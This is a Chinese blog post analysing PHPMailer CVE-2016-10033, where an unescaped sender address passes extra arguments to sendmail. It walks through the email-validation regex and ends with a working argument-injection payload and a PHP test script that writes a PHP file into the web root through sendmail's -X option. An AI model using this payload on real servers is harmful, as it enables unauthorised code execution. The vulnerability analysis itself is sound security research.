前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >PHPMailer 代码执行漏洞(CVE-2016-10033)分析(含通用POC)

PHPMailer 代码执行漏洞(CVE-2016-10033)分析(含通用POC)

作者头像
phith0n
发布于 2020-10-15 03:22:01
发布于 2020-10-15 03:22:01
2.3K00
代码可运行
举报
运行总次数:0
代码可运行

对比一下新老版本: https://github.com/PHPMailer/PHPMailer/compare/v5.2.17...master

其实答案呼之欲出了——和Roundcube的RCE类似,mail函数的第五个参数,传命令参数的地方没有进行转义。

回顾一下当时Roundcube的漏洞:因为mail函数最终是调用的系统的sendmail进行邮件发送,而sendmail支持-X参数,通过这个参数可以将日志写入指定文件。可以写文件,当然就可以写shell,造成RCE了。

详细分析一下,下载一份源码,并切换到5.2.17版本:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
git clone https://github.com/PHPMailer/PHPMailer
cd PHPMailer
git checkout -b CVE-2016-10033 v5.2.17

单步调试可以发现确实和之前Roundcube出现的漏洞( http://wiki.ioin.in/search?word=roundcube )一样,是传给mail函数的第五个参数没有正确过滤:

但上图是错的,因为这里是不支持bash的一些语法的,也就是说反引号、${IFS}都是无效的。但实际上PHPMailer在调用mailPassthru前会对email进行一定的检测,这导致我们无法构造出像Roundcube那些可以直接写文件的payload,检测部分的代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
/**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

其他的地方我就不分析了,只分析上面这个函数,这个函数有这个特点

  1. 默认patternselect==‘auto’,它会自动选择一个方式对email进行检测
  2. 如果php支持正则PCRE(也就是包含preg_replace函数),就用正则的方式来检查,就是那一大串很难读懂的正则
  3. 如果php不支持PCRE,且PHP版本大于PHP5.2.0,就是用PHP自带的filter来检查email
  4. 如果php不支持PCRE,且PHP版本低于PHP5.2.0,就直接检查email中是否包含@

所以,根据现在的分析(注意,不是最终分析),如果想绕过这个email的检查,目标PHP环境必须有以下两个条件:

  1. PHP版本小于5.2.0
  2. PHP不支持正则表达式,即没有安装PCRE扩展(默认是安装的)

那么如果目标PHP环境不满足上述条件,是不是就绝对不会出现漏洞了呢?当然答案也是否定的,我提两种可能的情况。

开发者手工指定Email检查方法

PHPMailer是支持让开发者手工指定Email的检测方法的:

如果开发者编写了上述画框的代码,那么这里就是存在漏洞的,因为其只检查Email中是否包含@。

开发者指定PHPMailer::$validator = 'noregex'

我们看到validateAddress函数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
public static function validateAddress($address, $patternselect = null)
{
   if (is_null($patternselect)) {
       $patternselect = self::$validator;
   }

patternselect默认是根据self:: validator来确定的,如果开发者指定了PHPMailer::

分析一下Email正则

那么,这真的是一个鸡肋漏洞么?年轻人,多思考一下。

如果想把漏洞变成一个可用的好漏洞,需要去绕过Email的正则,我们来分析一下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);

中间的分析过程我后面慢慢写(写好了,在这里 https://cloud.tencent.com/developer/article/1717847 ),多研究一下你会发现,在@前面,如果加上括号,将可以引入空格,我的payload如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
aaa( -X/home/www/success.php )@qq.com

测试代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
require 'PHPMailer/PHPMailerAutoload.php';

function send($from) {
    $mail = new PHPMailer;

    $mail->setFrom($from);
    $mail->addAddress('joe@example.net', 'Joe User');     // Add a recipient

    $mail->isHTML(true);                                  // Set email format to HTML

    $mail->Subject = '<?php phpinfo(); ?>';
    $mail->Body    = 'This is the HTML message body <b>in bold!</b>';
    $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

    if(!$mail->send()) {
        echo 'Message could not be sent.';
        echo 'Mailer Error: ' . $mail->ErrorInfo;
    } else {
        echo 'Message has been sent' . "\n";
    }

    unset($mail);
}

$address = "aaa( -X/home/www/success.php )@qq.com";

send($address);

执行:

成功写入success.php。

利用这个payload,是无需PHP满足什么条件的,通用写文件Payload。

补一个

有的同学在部分环境下遇到sendmail写权限不够的问题,只要加个-OQueueDirectory=/tmp参数就好了:aaa( -X/home/www/success.php -OQueueDirectory=/tmp )@qq.com,这个参数在Roundcube漏洞中就有,不必多说。

参考链接:

  1. https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
  2. http://pwnscriptum.com/
  3. https://www.exploit-db.com/exploits/40968/
  4. https://github.com/opsxcq/exploit-CVE-2016-10033
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
手机照片删除了怎么恢复?教你恢复照片的方法
手机照片删除了怎么恢复?前段时间在外面旅游拍摄了很多照片留在手机里面,为了把一些拍的不好的照片删除却不小心删除了之前的重要照片,想要把之前的照片恢复回来不知道该怎么办,手机里面的照片删除了如何找回?手机照片删除了怎么恢复?
科技第六人
2019/08/28
2.2K0
手机照片删除了怎么恢复?教你恢复照片的方法
手机相册里的照片误删怎么恢复?教你最全方法
  手机相册里的照片误删怎么恢复?很多人的手机中都会有太多的照片在手机里面,除了在外面拍摄的照片或者自拍,还有很多人喜欢从网上保存一些网图到手机里面,有时候因为手机卡顿,不得不去清理手机里面的照片,但是一时手误将其他照片也删除了怎么办?手机相册里的照片误删怎么恢复?
科技第六人
2019/10/25
1.7K0
手机相册里的照片误删怎么恢复?教你最全方法
手机照片删除了怎么恢复?这些方法你要会
        手机照片删除了怎么恢复?现在使用手机拍照的人越来越多了,几乎每个使用到手机的人手机相册中都会有很多的照片,无论是一些自拍照还是什么照片都会存放在手机里面。
科技第六人
2019/08/29
6570
手机照片删除了怎么恢复?这些方法你要会
手机误删照片怎么恢复?最好的方法教你恢复
  手机误删照片怎么恢复?我们手机上都会有很多的照片在手机里面,不过有时候会觉得里面的照片太多就想清理掉一些用不到的照片,不过少部分照片会掺杂在重要的照片中,但是删除可能会出现一些手残的情况,有时候会手误将重要的照片删除了该怎么办?手机误删照片怎么恢复?
科技第六人
2019/10/29
1.8K0
手机误删照片怎么恢复?最好的方法教你恢复
手机删除的照片如何恢复?超简单方法教你
  手机删除的照片如何恢复?现在来说很多人都比较喜欢使用手机拍照,如今的手机相机像素越来越好,喜欢拍照的小伙伴也很多,这样在手机中就会存入大量的照片在手机中,有时候还会去查看照片,当我们发现手机中有些照片被删除了怎么办?手机删除的照片如何恢复?
科技第六人
2019/09/26
6110
手机删除的照片如何恢复?超简单方法教你
手机相册里的照片误删怎么恢复?简单学习方法
  手机相册里的照片误删怎么恢复?在我们的相册中都会有很多的照片,尽管不喜欢拍照的小伙伴手机中也会有照片,既然存入在手机相册中那么肯定是比较重要或者有意义的,因为垃圾照片或者没用的照片我们都会去删除掉。但将手机中重要的照片删除了那么该怎么办?手机相册里的照片误删怎么恢复?
科技第六人
2019/11/13
1.7K0
手机相册里的照片误删怎么恢复?简单学习方法
手机照片误删怎么恢复?简单教你两招
  手机照片误删怎么恢复?随着手机上的功能越来越强大,如今手机相机是手机中比较重要的功能之一了,对于喜欢拍照的小伙伴来讲像素的要求都会非常高,不仅如此在手机中也是有很多的照片在手机中,不过有时候会清理掉手机中不需要的照片,若将重要的照片不小心删除了怎么办?手机照片误删怎么恢复?
科技第六人
2019/11/05
8600
手机照片误删怎么恢复?简单教你两招
手机照片删除了怎么恢复?比较实用的教程
  手机照片删除了怎么恢复?很多人对手机的像素都有很高的要求,喜欢拍照的人谁不需要像素高的手机呢?自然这些手机中就会存在很多的照片在手机中,不管是自己拍摄的照片还是从其他地方保存下来的照片都会在手机里,但是如果不小心删除了一些照片该怎么办呢?手机照片删除了怎么恢复?
科技第六人
2019/10/17
6430
苹果手机删除的照片如何恢复?最好的方法恢复
  苹果手机删除的照片如何恢复?在我们的手机中会存有大量的照片在里面,很多在外面拍摄的照片都存入到手机中,有时候我们会将一些不重要的照片删除,不仅可以释放手机空间还可以快速找到需要的照片,若不小心清除了重要的照片有什么方法可以恢复呢?苹果手机删除的照片如何恢复?
科技第六人
2019/10/31
1.7K0
苹果手机删除的照片如何恢复?最好的方法恢复
手机照片误删怎么恢复?轻松几分钟就能恢复
  手机照片误删怎么恢复?很多人的手机上都会存在很多照片在里面,不管是什么照片都会有一些的,不过有很多比较重要的照片在手机里面,而且有时候会去整理一些不需要的照片进行删除,当在整理照片的时候不小心删除一些照片怎么办?手机照片误删怎么恢复?
科技第六人
2019/08/21
8580
手机照片误删怎么恢复?轻松几分钟就能恢复
如何恢复手机删除的照片?最简单不过的方法
  如何恢复手机删除的照片?很多喜欢旅游的小伙伴手机里面肯定会有很多旅游照片,在手机上都会存很多的照片在手机里,有时候还会去看看里面的一些美好的回忆,不过有时候看到不用的照片就会删除掉。当我们发现一些照片被不小心删除了怎么办?如何恢复手机删除的照片?
科技第六人
2019/10/21
6990
如何恢复手机删除的照片?最简单不过的方法
如何恢复手机删除的短信?这样恢复才简单
  如何恢复手机删除的短信?现在经常会收到很多的短信,其实并不是什么重要的人发送的短信,而是一些垃圾消息,每天都能接收到很多类似的短信,时间久了这样的短信就开始堆积起来,想要找之前重要的短信都难就想删除掉。将一些重要的短信删除了怎么办?如何恢复手机删除的短信?
科技第六人
2019/09/04
2.5K0
如何恢复手机删除的短信?这样恢复才简单
手机照片误删怎么恢复?简单方法即可恢复
  手机照片误删怎么恢复?在我们的手机上都会有着很多的照片,不管是自己的照片还是他人的照片都会留存在手机里,有时候去查看的时候会发现有些照片不在手机中,貌似被删除了,可是不知道该怎么办?在我们手机中的照片删除了怎么办?手机照片误删怎么恢复?
科技第六人
2019/09/17
1.4K0
手机照片误删怎么恢复?简单方法即可恢复
手机删除的短信怎么恢复?简单几分钟教会你
  手机删除的短信怎么恢复?现在的社交软件逐渐开始变多,很久已经没有接触短信这样的功能了,现在随时随刻都能接收到各种各样的短信,所以我们也并没有在意很多,有些时候收到了重要的短信也在里面被一起清除了想要恢复该怎么办?手机删除的短信怎么恢复?
科技第六人
2019/10/15
2K0
手机相册里的照片误删怎么恢复?简单的两招
  手机相册里的照片误删怎么恢复?在我们手机中有很多比较重要的数据,尤其是照片是这些数据中量最多的,而且每张照片都是一些美好的回忆,不过有时候在查看手机照片是会不小心将照片删除,如果出现手机照片删除的情况该怎么办呢?手机相册里的照片误删怎么恢复?
科技第六人
2019/11/08
1.6K0
手机相册里的照片误删怎么恢复?简单的两招
手机删除的照片如何恢复?看完之后恍然大悟
  手机删除的照片如何恢复?在如今的颜值时代相机就起着很重要的作用了,在我们手机里面都会存在很多比较好看的照片,自己的自拍照当然也是少不了的,更何况想在的相机美颜技术实在太强,不过我们通常会删除手机中不好看的照片,那么将很多重要照片删除了怎么办?手机删除的照片如何恢复?
科技第六人
2019/09/10
6690
手机删除的照片如何恢复?看完之后恍然大悟
手机删除的照片如何恢复?分享两个小妙招
  手机删除的照片如何恢复?我们在生活中都会用到手机相机这一个手机功能,现在手机像素特别好,很多人都喜欢用手机来拍照,自然手机中也会有很多比较美好的照片,在手机中这些照片存在手机相册中而且还会去查看,如果手机中的重要照片被删除了怎么办?手机删除的照片如何恢复?
科技第六人
2019/08/13
1.2K0
手机删除的照片如何恢复?分享两个小妙招
手机删除的照片如何恢复?简单方法汇总
  手机删除的照片如何恢复?现在很多手机上都会存有大量的照片,一般存入的照片都是比较有纪念意义或者有价值的,但是也包括很多没有清理的垃圾照片,不过在清理过程中很容易出现照片误删的情况,如果遇到这种情况该怎么办呢?手机删除的照片如何恢复?
科技第六人
2019/10/10
9440
手机删除的照片如何恢复?简单方法汇总
苹果手机误删照片怎么恢复?教你有用的方法
  苹果手机误删照片怎么恢复?在很多小伙伴的手机中都会有很多照片在里面,很多照片可以说是比较重要的,但是不重要的照片也有挺多的,不过有时候会去清理掉手机中不需要的照片,如果在清理过程中将重要照片误删了怎么办?苹果手机误删照片怎么恢复呢?
科技第六人
2019/11/04
8830
苹果手机误删照片怎么恢复?教你有用的方法
微信删除的聊天记录怎么恢复?常用方法推荐
  微信删除的聊天记录怎么恢复?作为最主流的社交工具之一的微信相信很多人已经用过很久了,从而在我们微信里面就会有很多的聊天记录存在,重要的和不重要的聊天记录都会有,有时候会去清理一些文件时容易将聊天记录删除,那么怎么才可以恢复聊天记录?微信删除的聊天记录怎么恢复?
科技第六人
2019/10/18
2K0
微信删除的聊天记录怎么恢复?常用方法推荐
推荐阅读
相关推荐
手机照片删除了怎么恢复?教你恢复照片的方法
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验